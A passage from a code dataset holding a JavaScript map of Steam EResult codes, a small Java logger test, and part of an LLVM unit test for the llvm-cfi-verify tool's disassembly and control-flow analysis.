\n"} +{"text": "/**\n * @enum EResult\n */\nmodule.exports = {\n\t\"Invalid\": 0,\n\t\"OK\": 1,\n\t\"Fail\": 2,\n\t\"NoConnection\": 3,\n\t\"InvalidPassword\": 5,\n\t\"LoggedInElsewhere\": 6,\n\t\"InvalidProtocolVer\": 7,\n\t\"InvalidParam\": 8,\n\t\"FileNotFound\": 9,\n\t\"Busy\": 10,\n\t\"InvalidState\": 11,\n\t\"InvalidName\": 12,\n\t\"InvalidEmail\": 13,\n\t\"DuplicateName\": 14,\n\t\"AccessDenied\": 15,\n\t\"Timeout\": 16,\n\t\"Banned\": 17,\n\t\"AccountNotFound\": 18,\n\t\"InvalidSteamID\": 19,\n\t\"ServiceUnavailable\": 20,\n\t\"NotLoggedOn\": 21,\n\t\"Pending\": 22,\n\t\"EncryptionFailure\": 23,\n\t\"InsufficientPrivilege\": 24,\n\t\"LimitExceeded\": 25,\n\t\"Revoked\": 26,\n\t\"Expired\": 27,\n\t\"AlreadyRedeemed\": 28,\n\t\"DuplicateRequest\": 29,\n\t\"AlreadyOwned\": 30,\n\t\"IPNotFound\": 31,\n\t\"PersistFailed\": 32,\n\t\"LockingFailed\": 33,\n\t\"LogonSessionReplaced\": 34,\n\t\"ConnectFailed\": 35,\n\t\"HandshakeFailed\": 36,\n\t\"IOFailure\": 37,\n\t\"RemoteDisconnect\": 38,\n\t\"ShoppingCartNotFound\": 39,\n\t\"Blocked\": 40,\n\t\"Ignored\": 41,\n\t\"NoMatch\": 42,\n\t\"AccountDisabled\": 43,\n\t\"ServiceReadOnly\": 44,\n\t\"AccountNotFeatured\": 45,\n\t\"AdministratorOK\": 46,\n\t\"ContentVersion\": 47,\n\t\"TryAnotherCM\": 48,\n\t\"PasswordRequiredToKickSession\": 49,\n\t\"AlreadyLoggedInElsewhere\": 50,\n\t\"Suspended\": 51,\n\t\"Cancelled\": 52,\n\t\"DataCorruption\": 53,\n\t\"DiskFull\": 54,\n\t\"RemoteCallFailed\": 55,\n\t\"PasswordNotSet\": 56, // removed \"renamed to PasswordUnset\"\n\t\"PasswordUnset\": 56,\n\t\"ExternalAccountUnlinked\": 57,\n\t\"PSNTicketInvalid\": 58,\n\t\"ExternalAccountAlreadyLinked\": 59,\n\t\"RemoteFileConflict\": 60,\n\t\"IllegalPassword\": 61,\n\t\"SameAsPreviousValue\": 62,\n\t\"AccountLogonDenied\": 63,\n\t\"CannotUseOldPassword\": 64,\n\t\"InvalidLoginAuthCode\": 65,\n\t\"AccountLogonDeniedNoMailSent\": 66, // removed \"renamed to AccountLogonDeniedNoMail\"\n\t\"AccountLogonDeniedNoMail\": 66,\n\t\"HardwareNotCapableOfIPT\": 67,\n\t\"IPTInitError\": 68,\n\t\"ParentalControlRestricted\": 69,\n\t\"FacebookQueryError\": 70,\n\t\"ExpiredLoginAuthCode\": 71,\n\t\"IPLoginRestrictionFailed\": 72,\n\t\"AccountLocked\": 73, // removed \"renamed to AccountLockedDown\"\n\t\"AccountLockedDown\": 73,\n\t\"AccountLogonDeniedVerifiedEmailRequired\": 74,\n\t\"NoMatchingURL\": 75,\n\t\"BadResponse\": 76,\n\t\"RequirePasswordReEntry\": 77,\n\t\"ValueOutOfRange\": 78,\n\t\"UnexpectedError\": 79,\n\t\"Disabled\": 80,\n\t\"InvalidCEGSubmission\": 81,\n\t\"RestrictedDevice\": 82,\n\t\"RegionLocked\": 83,\n\t\"RateLimitExceeded\": 84,\n\t\"AccountLogonDeniedNeedTwoFactorCode\": 85, // removed \"renamed to AccountLoginDeniedNeedTwoFactor\"\n\t\"AccountLoginDeniedNeedTwoFactor\": 85,\n\t\"ItemOrEntryHasBeenDeleted\": 86, // removed \"renamed to ItemDeleted\"\n\t\"ItemDeleted\": 86,\n\t\"AccountLoginDeniedThrottle\": 87,\n\t\"TwoFactorCodeMismatch\": 88,\n\t\"TwoFactorActivationCodeMismatch\": 89,\n\t\"AccountAssociatedToMultiplePlayers\": 90, // removed \"renamed to AccountAssociatedToMultiplePartners\"\n\t\"AccountAssociatedToMultiplePartners\": 90,\n\t\"NotModified\": 91,\n\t\"NoMobileDeviceAvailable\": 92, // removed \"renamed to NoMobileDevice\"\n\t\"NoMobileDevice\": 92,\n\t\"TimeIsOutOfSync\": 93, // removed \"renamed to TimeNotSynced\"\n\t\"TimeNotSynced\": 93,\n\t\"SMSCodeFailed\": 94,\n\t\"TooManyAccountsAccessThisResource\": 95, // removed \"renamed to AccountLimitExceeded\"\n\t\"AccountLimitExceeded\": 95,\n\t\"AccountActivityLimitExceeded\": 96,\n\t\"PhoneActivityLimitExceeded\": 97,\n\t\"RefundToWallet\": 98,\n\t\"EmailSendFailure\": 99,\n\t\"NotSettled\": 100,\n\t\"NeedCaptcha\": 101,\n\t\"GSLTDenied\": 102,\n\t\"GSOwnerDenied\": 103,\n\t\"InvalidItemType\": 104,\n\t\"IPBanned\": 105,\n\t\"GSLTExpired\": 106,\n\t\"InsufficientFunds\": 107,\n\t\"TooManyPending\": 108,\n\t\"NoSiteLicensesFound\": 109,\n\t\"WGNetworkSendExceeded\": 110,\n\t\"AccountNotFriends\": 111,\n\t\"LimitedUserAccount\": 112,\n\t\"CantRemoveItem\": 113,\n\t\"AccountHasBeenDeleted\": 114,\n\t\"AccountHasAnExistingUserCancelledLicense\": 115,\n\t\"DeniedDueToCommunityCooldown\": 116,\n\n\t// Value-to-name mapping for convenience\n\t\"0\": \"Invalid\",\n\t\"1\": \"OK\",\n\t\"2\": \"Fail\",\n\t\"3\": \"NoConnection\",\n\t\"5\": \"InvalidPassword\",\n\t\"6\": \"LoggedInElsewhere\",\n\t\"7\": \"InvalidProtocolVer\",\n\t\"8\": \"InvalidParam\",\n\t\"9\": \"FileNotFound\",\n\t\"10\": \"Busy\",\n\t\"11\": \"InvalidState\",\n\t\"12\": \"InvalidName\",\n\t\"13\": \"InvalidEmail\",\n\t\"14\": \"DuplicateName\",\n\t\"15\": \"AccessDenied\",\n\t\"16\": \"Timeout\",\n\t\"17\": \"Banned\",\n\t\"18\": \"AccountNotFound\",\n\t\"19\": \"InvalidSteamID\",\n\t\"20\": \"ServiceUnavailable\",\n\t\"21\": \"NotLoggedOn\",\n\t\"22\": \"Pending\",\n\t\"23\": \"EncryptionFailure\",\n\t\"24\": \"InsufficientPrivilege\",\n\t\"25\": \"LimitExceeded\",\n\t\"26\": \"Revoked\",\n\t\"27\": \"Expired\",\n\t\"28\": \"AlreadyRedeemed\",\n\t\"29\": \"DuplicateRequest\",\n\t\"30\": \"AlreadyOwned\",\n\t\"31\": \"IPNotFound\",\n\t\"32\": \"PersistFailed\",\n\t\"33\": \"LockingFailed\",\n\t\"34\": \"LogonSessionReplaced\",\n\t\"35\": \"ConnectFailed\",\n\t\"36\": \"HandshakeFailed\",\n\t\"37\": \"IOFailure\",\n\t\"38\": \"RemoteDisconnect\",\n\t\"39\": \"ShoppingCartNotFound\",\n\t\"40\": \"Blocked\",\n\t\"41\": \"Ignored\",\n\t\"42\": \"NoMatch\",\n\t\"43\": \"AccountDisabled\",\n\t\"44\": \"ServiceReadOnly\",\n\t\"45\": \"AccountNotFeatured\",\n\t\"46\": \"AdministratorOK\",\n\t\"47\": \"ContentVersion\",\n\t\"48\": \"TryAnotherCM\",\n\t\"49\": \"PasswordRequiredToKickSession\",\n\t\"50\": \"AlreadyLoggedInElsewhere\",\n\t\"51\": \"Suspended\",\n\t\"52\": \"Cancelled\",\n\t\"53\": \"DataCorruption\",\n\t\"54\": \"DiskFull\",\n\t\"55\": \"RemoteCallFailed\",\n\t\"56\": \"PasswordUnset\",\n\t\"57\": \"ExternalAccountUnlinked\",\n\t\"58\": \"PSNTicketInvalid\",\n\t\"59\": \"ExternalAccountAlreadyLinked\",\n\t\"60\": \"RemoteFileConflict\",\n\t\"61\": \"IllegalPassword\",\n\t\"62\": \"SameAsPreviousValue\",\n\t\"63\": \"AccountLogonDenied\",\n\t\"64\": \"CannotUseOldPassword\",\n\t\"65\": \"InvalidLoginAuthCode\",\n\t\"66\": \"AccountLogonDeniedNoMail\",\n\t\"67\": \"HardwareNotCapableOfIPT\",\n\t\"68\": \"IPTInitError\",\n\t\"69\": \"ParentalControlRestricted\",\n\t\"70\": \"FacebookQueryError\",\n\t\"71\": \"ExpiredLoginAuthCode\",\n\t\"72\": \"IPLoginRestrictionFailed\",\n\t\"73\": \"AccountLockedDown\",\n\t\"74\": \"AccountLogonDeniedVerifiedEmailRequired\",\n\t\"75\": \"NoMatchingURL\",\n\t\"76\": \"BadResponse\",\n\t\"77\": \"RequirePasswordReEntry\",\n\t\"78\": \"ValueOutOfRange\",\n\t\"79\": \"UnexpectedError\",\n\t\"80\": \"Disabled\",\n\t\"81\": \"InvalidCEGSubmission\",\n\t\"82\": \"RestrictedDevice\",\n\t\"83\": \"RegionLocked\",\n\t\"84\": \"RateLimitExceeded\",\n\t\"85\": \"AccountLoginDeniedNeedTwoFactor\",\n\t\"86\": \"ItemDeleted\",\n\t\"87\": \"AccountLoginDeniedThrottle\",\n\t\"88\": \"TwoFactorCodeMismatch\",\n\t\"89\": \"TwoFactorActivationCodeMismatch\",\n\t\"90\": \"AccountAssociatedToMultiplePartners\",\n\t\"91\": \"NotModified\",\n\t\"92\": \"NoMobileDevice\",\n\t\"93\": \"TimeNotSynced\",\n\t\"94\": \"SMSCodeFailed\",\n\t\"95\": \"AccountLimitExceeded\",\n\t\"96\": \"AccountActivityLimitExceeded\",\n\t\"97\": \"PhoneActivityLimitExceeded\",\n\t\"98\": \"RefundToWallet\",\n\t\"99\": \"EmailSendFailure\",\n\t\"100\": \"NotSettled\",\n\t\"101\": \"NeedCaptcha\",\n\t\"102\": \"GSLTDenied\",\n\t\"103\": \"GSOwnerDenied\",\n\t\"104\": \"InvalidItemType\",\n\t\"105\": \"IPBanned\",\n\t\"106\": \"GSLTExpired\",\n\t\"107\": \"InsufficientFunds\",\n\t\"108\": \"TooManyPending\",\n\t\"109\": \"NoSiteLicensesFound\",\n\t\"110\": \"WGNetworkSendExceeded\",\n\t\"111\": \"AccountNotFriends\",\n\t\"112\": \"LimitedUserAccount\",\n\t\"113\": \"CantRemoveItem\",\n\t\"114\": \"AccountHasBeenDeleted\",\n\t\"115\": \"AccountHasAnExistingUserCancelledLicense\",\n\t\"116\": \"DeniedDueToCommunityCooldown\",\n};\n"} +{"text": "package com.yun.flogger.test;\n\nimport com.cyfonly.flogger.FLogger;\nimport com.cyfonly.flogger.constants.Constant;\n\npublic class FloggerTest {\n\t\n\tpublic static void main(String[] args) {\n\t\t//获取单例\n\t\tFLogger logger = FLogger.getInstance();\n\t\t//简便api,只需指定内容\n\t\tlogger.info(\"Here is your message...\");\n\t\t//指定日志级别和内容，文件名自动映射\n\t\tlogger.writeLog(Constant.INFO, \"Here is your customized level message...\");\n\t\t//指定日志输出文件名、日志级别和内容\n\t\tlogger.writeLog(\"error\", Constant.ERROR, \"Here is your customized log file and level message...\");\n\t}\n\n}\n"} +{"text": "//===- llvm/unittests/tools/llvm-cfi-verify/FileAnalysis.cpp --------------===//\n//\n// The LLVM Compiler Infrastructure\n//\n// This file is distributed under the University of Illinois Open Source\n// License. See LICENSE.TXT for details.\n//\n//===----------------------------------------------------------------------===//\n\n#include \"../tools/llvm-cfi-verify/lib/FileAnalysis.h\"\n#include \"../tools/llvm-cfi-verify/lib/GraphBuilder.h\"\n#include \"gmock/gmock.h\"\n#include \"gtest/gtest.h\"\n\n#include \"llvm/BinaryFormat/ELF.h\"\n#include \"llvm/MC/MCAsmInfo.h\"\n#include \"llvm/MC/MCContext.h\"\n#include \"llvm/MC/MCDisassembler/MCDisassembler.h\"\n#include \"llvm/MC/MCInst.h\"\n#include \"llvm/MC/MCInstPrinter.h\"\n#include \"llvm/MC/MCInstrAnalysis.h\"\n#include \"llvm/MC/MCInstrDesc.h\"\n#include \"llvm/MC/MCInstrInfo.h\"\n#include \"llvm/MC/MCObjectFileInfo.h\"\n#include \"llvm/MC/MCRegisterInfo.h\"\n#include \"llvm/MC/MCSubtargetInfo.h\"\n#include \"llvm/Object/Binary.h\"\n#include \"llvm/Object/COFF.h\"\n#include \"llvm/Object/ELFObjectFile.h\"\n#include \"llvm/Object/ObjectFile.h\"\n#include \"llvm/Support/Casting.h\"\n#include \"llvm/Support/CommandLine.h\"\n#include \"llvm/Support/Error.h\"\n#include \"llvm/Support/MemoryBuffer.h\"\n#include \"llvm/Support/TargetRegistry.h\"\n#include \"llvm/Support/TargetSelect.h\"\n#include \"llvm/Support/raw_ostream.h\"\n\n#include \n\nusing Instr = ::llvm::cfi_verify::FileAnalysis::Instr;\nusing ::testing::Eq;\nusing ::testing::Field;\n\nnamespace llvm {\nnamespace cfi_verify {\nnamespace {\nclass ELFTestFileAnalysis : public FileAnalysis {\npublic:\n ELFTestFileAnalysis(StringRef Trip)\n : FileAnalysis(Triple(Trip), SubtargetFeatures()) {}\n\n // Expose this method publicly for testing.\n void parseSectionContents(ArrayRef SectionBytes,\n uint64_t SectionAddress) {\n FileAnalysis::parseSectionContents(SectionBytes, SectionAddress);\n }\n\n Error initialiseDisassemblyMembers() {\n return FileAnalysis::initialiseDisassemblyMembers();\n }\n};\n\nclass BasicFileAnalysisTest : public ::testing::Test {\npublic:\n BasicFileAnalysisTest(StringRef Trip) : Analysis(Trip) {}\nprotected:\n virtual void SetUp() {\n IgnoreDWARFFlag = true;\n SuccessfullyInitialised = true;\n if (auto Err = Analysis.initialiseDisassemblyMembers()) {\n handleAllErrors(std::move(Err), [&](const UnsupportedDisassembly &E) {\n SuccessfullyInitialised = false;\n outs()\n << \"Note: CFIVerifyTests are disabled due to lack of support \"\n \"on this build.\\n\";\n });\n }\n }\n\n bool SuccessfullyInitialised;\n ELFTestFileAnalysis Analysis;\n};\n\nclass BasicX86FileAnalysisTest : public BasicFileAnalysisTest {\npublic:\n BasicX86FileAnalysisTest() : BasicFileAnalysisTest(\"x86_64--\") {}\n};\n\nclass BasicAArch64FileAnalysisTest : public BasicFileAnalysisTest {\npublic:\n BasicAArch64FileAnalysisTest() : BasicFileAnalysisTest(\"aarch64--\") {}\n};\n\nTEST_F(BasicX86FileAnalysisTest, BasicDisassemblyTraversalTest) {\n if (!SuccessfullyInitialised)\n return;\n Analysis.parseSectionContents(\n {\n 0x90, // 0: nop\n 0xb0, 0x00, // 1: mov $0x0, %al\n 0x48, 0x89, 0xe5, // 3: mov %rsp, %rbp\n 0x48, 0x83, 0xec, 0x18, // 6: sub $0x18, %rsp\n 0x48, 0xbe, 0xc4, 0x07, 0x40,\n 0x00, 0x00, 0x00, 0x00, 0x00, // 10: movabs $0x4007c4, %rsi\n 0x2f, // 20: (bad)\n 0x41, 0x0e, // 21: rex.B (bad)\n 0x62, 0x72, 0x65, 0x61, 0x6b, // 23: (bad) {%k1}\n },\n 0xDEADBEEF);\n\n EXPECT_EQ(nullptr, Analysis.getInstruction(0x0));\n EXPECT_EQ(nullptr, Analysis.getInstruction(0x1000));\n\n // 0xDEADBEEF: nop\n const auto *InstrMeta = Analysis.getInstruction(0xDEADBEEF);\n EXPECT_NE(nullptr, InstrMeta);\n EXPECT_EQ(0xDEADBEEF, InstrMeta->VMAddress);\n EXPECT_EQ(1u, InstrMeta->InstructionSize);\n EXPECT_TRUE(InstrMeta->Valid);\n\n const auto *NextInstrMeta = Analysis.getNextInstructionSequential(*InstrMeta);\n EXPECT_EQ(nullptr, Analysis.getPrevInstructionSequential(*InstrMeta));\n const auto *PrevInstrMeta = InstrMeta;\n\n // 0xDEADBEEF + 1: mov $0x0, %al\n InstrMeta = Analysis.getInstruction(0xDEADBEEF + 1);\n EXPECT_NE(nullptr, InstrMeta);\n EXPECT_EQ(NextInstrMeta, InstrMeta);\n EXPECT_EQ(0xDEADBEEF + 1, InstrMeta->VMAddress);\n EXPECT_EQ(2u, InstrMeta->InstructionSize);\n EXPECT_TRUE(InstrMeta->Valid);\n\n NextInstrMeta = Analysis.getNextInstructionSequential(*InstrMeta);\n EXPECT_EQ(PrevInstrMeta, Analysis.getPrevInstructionSequential(*InstrMeta));\n PrevInstrMeta = InstrMeta;\n\n // 0xDEADBEEF + 3: mov %rsp, %rbp\n InstrMeta = Analysis.getInstruction(0xDEADBEEF + 3);\n EXPECT_NE(nullptr, InstrMeta);\n EXPECT_EQ(NextInstrMeta, InstrMeta);\n EXPECT_EQ(0xDEADBEEF + 3, InstrMeta->VMAddress);\n EXPECT_EQ(3u, InstrMeta->InstructionSize);\n EXPECT_TRUE(InstrMeta->Valid);\n\n NextInstrMeta = Analysis.getNextInstructionSequential(*InstrMeta);\n EXPECT_EQ(PrevInstrMeta, Analysis.getPrevInstructionSequential(*InstrMeta));\n PrevInstrMeta = InstrMeta;\n\n // 0xDEADBEEF + 6: sub $0x18, %rsp\n InstrMeta = Analysis.getInstruction(0xDEADBEEF + 6);\n EXPECT_NE(nullptr, InstrMeta);\n EXPECT_EQ(NextInstrMeta, InstrMeta);\n EXPECT_EQ(0xDEADBEEF + 6, InstrMeta->VMAddress);\n EXPECT_EQ(4u, InstrMeta->InstructionSize);\n EXPECT_TRUE(InstrMeta->Valid);\n\n NextInstrMeta = Analysis.getNextInstructionSequential(*InstrMeta);\n EXPECT_EQ(PrevInstrMeta, Analysis.getPrevInstructionSequential(*InstrMeta));\n PrevInstrMeta = InstrMeta;\n\n // 0xDEADBEEF + 10: movabs $0x4007c4, %rsi\n InstrMeta = Analysis.getInstruction(0xDEADBEEF + 10);\n EXPECT_NE(nullptr, InstrMeta);\n EXPECT_EQ(NextInstrMeta, InstrMeta);\n EXPECT_EQ(0xDEADBEEF + 10, InstrMeta->VMAddress);\n EXPECT_EQ(10u, InstrMeta->InstructionSize);\n EXPECT_TRUE(InstrMeta->Valid);\n\n EXPECT_EQ(nullptr, Analysis.getNextInstructionSequential(*InstrMeta));\n EXPECT_EQ(PrevInstrMeta, Analysis.getPrevInstructionSequential(*InstrMeta));\n PrevInstrMeta = InstrMeta;\n\n // 0xDEADBEEF + 20: (bad)\n InstrMeta = Analysis.getInstruction(0xDEADBEEF + 20);\n EXPECT_NE(nullptr, InstrMeta);\n EXPECT_EQ(0xDEADBEEF + 20, InstrMeta->VMAddress);\n EXPECT_EQ(1u, InstrMeta->InstructionSize);\n EXPECT_FALSE(InstrMeta->Valid);\n\n EXPECT_EQ(nullptr, Analysis.getNextInstructionSequential(*InstrMeta));\n EXPECT_EQ(PrevInstrMeta, Analysis.getPrevInstructionSequential(*InstrMeta));\n\n // 0xDEADBEEF + 21: rex.B (bad)\n InstrMeta = Analysis.getInstruction(0xDEADBEEF + 21);\n EXPECT_NE(nullptr, InstrMeta);\n EXPECT_EQ(0xDEADBEEF + 21, InstrMeta->VMAddress);\n EXPECT_EQ(2u, InstrMeta->InstructionSize);\n EXPECT_FALSE(InstrMeta->Valid);\n\n EXPECT_EQ(nullptr, Analysis.getNextInstructionSequential(*InstrMeta));\n EXPECT_EQ(nullptr, Analysis.getPrevInstructionSequential(*InstrMeta));\n\n // 0xDEADBEEF + 6: (bad) {%k1}\n InstrMeta = Analysis.getInstruction(0xDEADBEEF + 23);\n EXPECT_NE(nullptr, InstrMeta);\n EXPECT_EQ(0xDEADBEEF + 23, InstrMeta->VMAddress);\n EXPECT_EQ(5u, InstrMeta->InstructionSize);\n EXPECT_FALSE(InstrMeta->Valid);\n\n EXPECT_EQ(nullptr, Analysis.getNextInstructionSequential(*InstrMeta));\n EXPECT_EQ(nullptr, Analysis.getPrevInstructionSequential(*InstrMeta));\n}\n\nTEST_F(BasicX86FileAnalysisTest, PrevAndNextFromBadInst) {\n if (!SuccessfullyInitialised)\n return;\n Analysis.parseSectionContents(\n {\n 0x90, // 0: nop\n 0x2f, // 1: (bad)\n 0x90 // 2: nop\n },\n 0xDEADBEEF);\n const auto &BadInstrMeta = Analysis.getInstructionOrDie(0xDEADBEEF + 1);\n const auto *GoodInstrMeta =\n Analysis.getPrevInstructionSequential(BadInstrMeta);\n EXPECT_NE(nullptr, GoodInstrMeta);\n EXPECT_EQ(0xDEADBEEF, GoodInstrMeta->VMAddress);\n EXPECT_EQ(1u, GoodInstrMeta->InstructionSize);\n\n GoodInstrMeta = Analysis.getNextInstructionSequential(BadInstrMeta);\n EXPECT_NE(nullptr, GoodInstrMeta);\n EXPECT_EQ(0xDEADBEEF + 2, GoodInstrMeta->VMAddress);\n EXPECT_EQ(1u, GoodInstrMeta->InstructionSize);\n}\n\nTEST_F(BasicX86FileAnalysisTest, CFITrapTest) {\n if (!SuccessfullyInitialised)\n return;\n Analysis.parseSectionContents(\n {\n 0x90, // 0: nop\n 0xb0, 0x00, // 1: mov $0x0, %al\n 0x48, 0x89, 0xe5, // 3: mov %rsp, %rbp\n 0x48, 0x83, 0xec, 0x18, // 6: sub $0x18, %rsp\n 0x48, 0xbe, 0xc4, 0x07, 0x40,\n 0x00, 0x00, 0x00, 0x00, 0x00, // 10: movabs $0x4007c4, %rsi\n 0x2f, // 20: (bad)\n 0x41, 0x0e, // 21: rex.B (bad)\n 0x62, 0x72, 0x65, 0x61, 0x6b, // 23: (bad) {%k1}\n 0x0f, 0x0b // 28: ud2\n },\n 0xDEADBEEF);\n\n EXPECT_FALSE(Analysis.isCFITrap(Analysis.getInstructionOrDie(0xDEADBEEF)));\n EXPECT_FALSE(\n Analysis.isCFITrap(Analysis.getInstructionOrDie(0xDEADBEEF + 3)));\n EXPECT_FALSE(\n Analysis.isCFITrap(Analysis.getInstructionOrDie(0xDEADBEEF + 6)));\n EXPECT_FALSE(\n Analysis.isCFITrap(Analysis.getInstructionOrDie(0xDEADBEEF + 10)));\n EXPECT_FALSE(\n Analysis.isCFITrap(Analysis.getInstructionOrDie(0xDEADBEEF + 20)));\n EXPECT_FALSE(\n Analysis.isCFITrap(Analysis.getInstructionOrDie(0xDEADBEEF + 21)));\n EXPECT_FALSE(\n Analysis.isCFITrap(Analysis.getInstructionOrDie(0xDEADBEEF + 23)));\n EXPECT_TRUE(\n Analysis.isCFITrap(Analysis.getInstructionOrDie(0xDEADBEEF + 28)));\n}\n\nTEST_F(BasicX86FileAnalysisTest, FallThroughTest) {\n if (!SuccessfullyInitialised)\n return;\n Analysis.parseSectionContents(\n {\n 0x90, // 0: nop\n 0xb0, 0x00, // 1: mov $0x0, %al\n 0x2f, // 3: (bad)\n 0x0f, 0x0b, // 4: ud2\n 0xff, 0x20, // 6: jmpq *(%rax)\n 0xeb, 0x00, // 8: jmp +0\n 0xe8, 0x45, 0xfe, 0xff, 0xff, // 10: callq [some loc]\n 0xff, 0x10, // 15: callq *(rax)\n 0x75, 0x00, // 17: jne +0\n 0xc3, // 19: retq\n },\n 0xDEADBEEF);\n\n EXPECT_TRUE(\n Analysis.canFallThrough(Analysis.getInstructionOrDie(0xDEADBEEF)));\n EXPECT_TRUE(\n Analysis.canFallThrough(Analysis.getInstructionOrDie(0xDEADBEEF + 1)));\n EXPECT_FALSE(\n Analysis.canFallThrough(Analysis.getInstructionOrDie(0xDEADBEEF + 3)));\n EXPECT_FALSE(\n Analysis.canFallThrough(Analysis.getInstructionOrDie(0xDEADBEEF + 4)));\n EXPECT_FALSE(\n Analysis.canFallThrough(Analysis.getInstructionOrDie(0xDEADBEEF + 6)));\n EXPECT_FALSE(\n Analysis.canFallThrough(Analysis.getInstructionOrDie(0xDEADBEEF + 8)));\n EXPECT_FALSE(\n Analysis.canFallThrough(Analysis.getInstructionOrDie(0xDEADBEEF + 10)));\n EXPECT_FALSE(\n Analysis.canFallThrough(Analysis.getInstructionOrDie(0xDEADBEEF + 15)));\n EXPECT_TRUE(\n Analysis.canFallThrough(Analysis.getInstructionOrDie(0xDEADBEEF + 17)));\n EXPECT_FALSE(\n Analysis.canFallThrough(Analysis.getInstructionOrDie(0xDEADBEEF + 19)));\n}\n\nTEST_F(BasicX86FileAnalysisTest, DefiniteNextInstructionTest) {\n if (!SuccessfullyInitialised)\n return;\n Analysis.parseSectionContents(\n {\n 0x90, // 0: nop\n 0xb0, 0x00, // 1: mov $0x0, %al\n 0x2f, // 3: (bad)\n 0x0f, 0x0b, // 4: ud2\n 0xff, 0x20, // 6: jmpq *(%rax)\n 0xeb, 0x00, // 8: jmp 10 [+0]\n 0xeb, 0x05, // 10: jmp 17 [+5]\n 0xe8, 0x00, 0x00, 0x00, 0x00, // 12: callq 17 [+0]\n 0xe8, 0x78, 0x56, 0x34, 0x12, // 17: callq 0x1234569f [+0x12345678]\n 0xe8, 0x04, 0x00, 0x00, 0x00, // 22: callq 31 [+4]\n 0xff, 0x10, // 27: callq *(rax)\n 0x75, 0x00, // 29: jne 31 [+0]\n 0x75, 0xe0, // 31: jne 1 [-32]\n 0xc3, // 33: retq\n 0xeb, 0xdd, // 34: jmp 1 [-35]\n 0xeb, 0xdd, // 36: jmp 3 [-35]\n 0xeb, 0xdc, // 38: jmp 4 [-36]\n },\n 0xDEADBEEF);\n\n const auto *Current = Analysis.getInstruction(0xDEADBEEF);\n const auto *Next = Analysis.getDefiniteNextInstruction(*Current);\n EXPECT_NE(nullptr, Next);\n EXPECT_EQ(0xDEADBEEF + 1, Next->VMAddress);\n\n Current = Analysis.getInstruction(0xDEADBEEF + 1);\n EXPECT_EQ(nullptr, Analysis.getDefiniteNextInstruction(*Current));\n\n Current = Analysis.getInstruction(0xDEADBEEF + 3);\n EXPECT_EQ(nullptr, Analysis.getDefiniteNextInstruction(*Current));\n\n Current = Analysis.getInstruction(0xDEADBEEF + 4);\n EXPECT_EQ(nullptr, Analysis.getDefiniteNextInstruction(*Current));\n\n Current = Analysis.getInstruction(0xDEADBEEF + 6);\n EXPECT_EQ(nullptr, Analysis.getDefiniteNextInstruction(*Current));\n\n Current = Analysis.getInstruction(0xDEADBEEF + 8);\n Next = Analysis.getDefiniteNextInstruction(*Current);\n EXPECT_NE(nullptr, Next);\n EXPECT_EQ(0xDEADBEEF + 10, Next->VMAddress);\n\n Current = Analysis.getInstruction(0xDEADBEEF + 10);\n Next = Analysis.getDefiniteNextInstruction(*Current);\n EXPECT_NE(nullptr, Next);\n EXPECT_EQ(0xDEADBEEF + 17, Next->VMAddress);\n\n Current = Analysis.getInstruction(0xDEADBEEF + 12);\n Next = Analysis.getDefiniteNextInstruction(*Current);\n EXPECT_NE(nullptr, Next);\n EXPECT_EQ(0xDEADBEEF + 17, Next->VMAddress);\n\n Current = Analysis.getInstruction(0xDEADBEEF + 17);\n // Note, definite next instruction address is out of range and should fail.\n EXPECT_EQ(nullptr, Analysis.getDefiniteNextInstruction(*Current));\n Next = Analysis.getDefiniteNextInstruction(*Current);\n\n Current = Analysis.getInstruction(0xDEADBEEF + 22);\n Next = Analysis.getDefiniteNextInstruction(*Current);\n EXPECT_NE(nullptr, Next);\n EXPECT_EQ(0xDEADBEEF + 31, Next->VMAddress);\n\n Current = Analysis.getInstruction(0xDEADBEEF + 27);\n EXPECT_EQ(nullptr, Analysis.getDefiniteNextInstruction(*Current));\n Current = Analysis.getInstruction(0xDEADBEEF + 29);\n EXPECT_EQ(nullptr, Analysis.getDefiniteNextInstruction(*Current));\n Current = Analysis.getInstruction(0xDEADBEEF + 31);\n EXPECT_EQ(nullptr, Analysis.getDefiniteNextInstruction(*Current));\n Current = Analysis.getInstruction(0xDEADBEEF + 33);\n EXPECT_EQ(nullptr, Analysis.getDefiniteNextInstruction(*Current));\n\n Current = Analysis.getInstruction(0xDEADBEEF + 34);\n Next = Analysis.getDefiniteNextInstruction(*Current);\n EXPECT_NE(nullptr, Next);\n EXPECT_EQ(0xDEADBEEF + 1, Next->VMAddress);\n\n Current = Analysis.getInstruction(0xDEADBEEF + 36);\n EXPECT_EQ(nullptr, Analysis.getDefiniteNextInstruction(*Current));\n\n Current = Analysis.getInstruction(0xDEADBEEF + 38);\n Next = Analysis.getDefiniteNextInstruction(*Current);\n EXPECT_NE(nullptr, Next);\n EXPECT_EQ(0xDEADBEEF + 4, Next->VMAddress);\n}\n\nTEST_F(BasicX86FileAnalysisTest, ControlFlowXRefsTest) {\n if (!SuccessfullyInitialised)\n return;\n Analysis.parseSectionContents(\n {\n 0x90, // 0: nop\n 0xb0, 0x00, // 1: mov $0x0, %al\n 0x2f, // 3: (bad)\n 0x0f, 0x0b, // 4: ud2\n 0xff, 0x20, // 6: jmpq *(%rax)\n 0xeb, 0x00, // 8: jmp 10 [+0]\n 0xeb, 0x05, // 10: jmp 17 [+5]\n 0xe8, 0x00, 0x00, 0x00, 0x00, // 12: callq 17 [+0]\n 0xe8, 0x78, 0x56, 0x34, 0x12, // 17: callq 0x1234569f [+0x12345678]\n 0xe8, 0x04, 0x00, 0x00, 0x00, // 22: callq 31 [+4]\n 0xff, 0x10, // 27: callq *(rax)\n 0x75, 0x00, // 29: jne 31 [+0]\n 0x75, 0xe0, // 31: jne 1 [-32]\n 0xc3, // 33: retq\n 0xeb, 0xdd, // 34: jmp 1 [-35]\n 0xeb, 0xdd, // 36: jmp 3 [-35]\n 0xeb, 0xdc, // 38: jmp 4 [-36]\n },\n 0xDEADBEEF);\n const auto *InstrMetaPtr = &Analysis.getInstructionOrDie(0xDEADBEEF);\n std::set XRefs =\n Analysis.getDirectControlFlowXRefs(*InstrMetaPtr);\n EXPECT_TRUE(XRefs.empty());\n\n InstrMetaPtr = &Analysis.getInstructionOrDie(0xDEADBEEF + 1);\n XRefs = Analysis.getDirectControlFlowXRefs(*InstrMetaPtr);\n EXPECT_THAT(XRefs, UnorderedElementsAre(\n Field(&Instr::VMAddress, Eq(0xDEADBEEF)),\n Field(&Instr::VMAddress, Eq(0xDEADBEEF + 31)),\n Field(&Instr::VMAddress, Eq(0xDEADBEEF + 34))));\n\n InstrMetaPtr = &Analysis.getInstructionOrDie(0xDEADBEEF + 3);\n XRefs = 